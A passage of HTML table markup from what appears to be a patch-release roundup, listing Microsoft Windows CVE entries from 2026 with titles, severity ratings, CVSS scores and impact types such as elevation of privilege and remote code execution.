  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49167"><span>CVE-2026-49167</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49173"><span>CVE-2026-49173</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54132"><span>CVE-2026-54132</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49795"><span>CVE-2026-49795</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49798"><span>CVE-2026-49798</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49808"><span>CVE-2026-49808</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50354"><span>CVE-2026-50354</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50332"><span>CVE-2026-50332</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50377"><span>CVE-2026-50377</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50390"><span>CVE-2026-50390</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50423"><span>CVE-2026-50423</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50397"><span>CVE-2026-50397</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50436"><span>CVE-2026-50436</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50399"><span>CVE-2026-50399</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50459"><span>CVE-2026-50459</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50477"><span>CVE-2026-50477</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50478"><span>CVE-2026-50478</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50484"><span>CVE-2026-50484</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50673"><span>CVE-2026-50673</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58532"><span>CVE-2026-58532</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50294"><span>CVE-2026-50294</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50316"><span>CVE-2026-50316</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50419"><span>CVE-2026-50419</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">3.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50463"><span>CVE-2026-50463</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50475"><span>CVE-2026-50475</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50429"><span>CVE-2026-50429</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58614"><span>CVE-2026-58614</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58545"><span>CVE-2026-58545</span></a></td>
  <td width="256" class="xl74">Windows Kernel
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58602"><span>CVE-2026-58602</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50393"><span>CVE-2026-50393</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50396"><span>CVE-2026-50396</span></a></td>
  <td width="256" class="xl74">Windows Kernel-Mode
  Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50378"><span>CVE-2026-50378</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50303"><span>CVE-2026-50303</span></a></td>
  <td width="256" class="xl74">Windows Key Guard
  Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40378"><span>CVE-2026-40378</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49799"><span>CVE-2026-49799</span></a></td>
  <td width="256" class="xl74">Windows Local Security
  Authority Subsystem Service (LSASS) Denial of Service Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50371"><span>CVE-2026-50371</span></a></td>
  <td width="256" class="xl74">Windows LUA File
  Virtualization Filter Driver Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58544"><span>CVE-2026-58544</span></a></td>
  <td width="256" class="xl74">Windows Management
  Services Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50404"><span>CVE-2026-50404</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50358"><span>CVE-2026-50358</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50336"><span>CVE-2026-50336</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50398"><span>CVE-2026-50398</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50414"><span>CVE-2026-50414</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50379"><span>CVE-2026-50379</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50433"><span>CVE-2026-50433</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50676"><span>CVE-2026-50676</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50677"><span>CVE-2026-50677</span></a></td>
  <td width="256" class="xl74">Windows Media
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34349"><span>CVE-2026-34349</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50394"><span>CVE-2026-50394</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50415"><span>CVE-2026-50415</span></a></td>
  <td width="256" class="xl74">Windows Media
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57083"><span>CVE-2026-57083</span></a></td>
  <td width="256" class="xl74">Windows Media Photo
  Codec Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54115"><span>CVE-2026-54115</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing (MSMQ) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50447"><span>CVE-2026-50447</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50505"><span>CVE-2026-50505</span></a></td>
  <td width="256" class="xl74">Windows Message
  Queuing Service (MSMQ) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50342"><span>CVE-2026-50342</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56183"><span>CVE-2026-56183</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56187"><span>CVE-2026-56187</span></a></td>
  <td width="256" class="xl74">Windows MIDI Service
  Module Elevation of Privileges Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58635"><span>CVE-2026-58635</span></a></td>
  <td width="256" class="xl74">Windows Narrator
  Braille Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50500"><span>CVE-2026-50500</span></a></td>
  <td width="256" class="xl74">Windows Netlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50476"><span>CVE-2026-50476</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50450"><span>CVE-2026-50450</span></a></td>
  <td width="256" class="xl74">Windows Network
  Connections Service Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56650"><span>CVE-2026-56650</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56649"><span>CVE-2026-56649</span></a></td>
  <td width="256" class="xl74">Windows Network File
  System Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50470"><span>CVE-2026-50470</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="73">
  <td class="xl67" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50496"><span>CVE-2026-50496</span></a></td>
  <td width="256" class="xl74">Windows Network Policy
  Server SNMP Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56194"><span>CVE-2026-56194</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56648"><span>CVE-2026-56648</span></a></td>
  <td width="256" class="xl74">Windows NFS Server
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50337"><span>CVE-2026-50337</span></a></td>
  <td width="256" class="xl74">Windows Notification
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49789"><span>CVE-2026-49789</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50412"><span>CVE-2026-50412</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50422"><span>CVE-2026-50422</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50672"><span>CVE-2026-50672</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56175"><span>CVE-2026-56175</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56182"><span>CVE-2026-56182</span></a></td>
  <td width="256" class="xl74">Windows NTFS Elevation
  of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50341"><span>CVE-2026-50341</span></a></td>
  <td width="256" class="xl74">Windows NTFS
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
